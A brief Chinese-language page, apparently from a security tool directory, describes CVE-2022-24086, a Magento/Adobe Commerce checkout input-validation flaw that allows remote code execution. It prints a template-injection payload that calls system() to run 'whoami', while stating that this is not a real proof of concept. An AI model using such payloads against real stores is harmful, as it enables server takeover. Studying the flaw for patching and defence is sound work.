黑客、渗透测试和网络安全工具,武装您的安全武器库!
关于 Magento RCE 的 CVE-2022-24086
发现我们社区最常用的工具。
探索所有工具
浏览我们的工具集合
CVE-2022-24086 关于 Magento RCE 的漏洞
Adobe Commerce 2.4.3-p1(及更早版本)和 2.3.7-p2(及更早版本)在结账过程中受到不当输入验证漏洞的影响。利用此问题无需用户交互,可能导致任意代码执行。
注意:这不是真正的 POC ...
POC
{{var this.getTemplateFilter().addAfterFilterCallback("system").filter("whoami")}}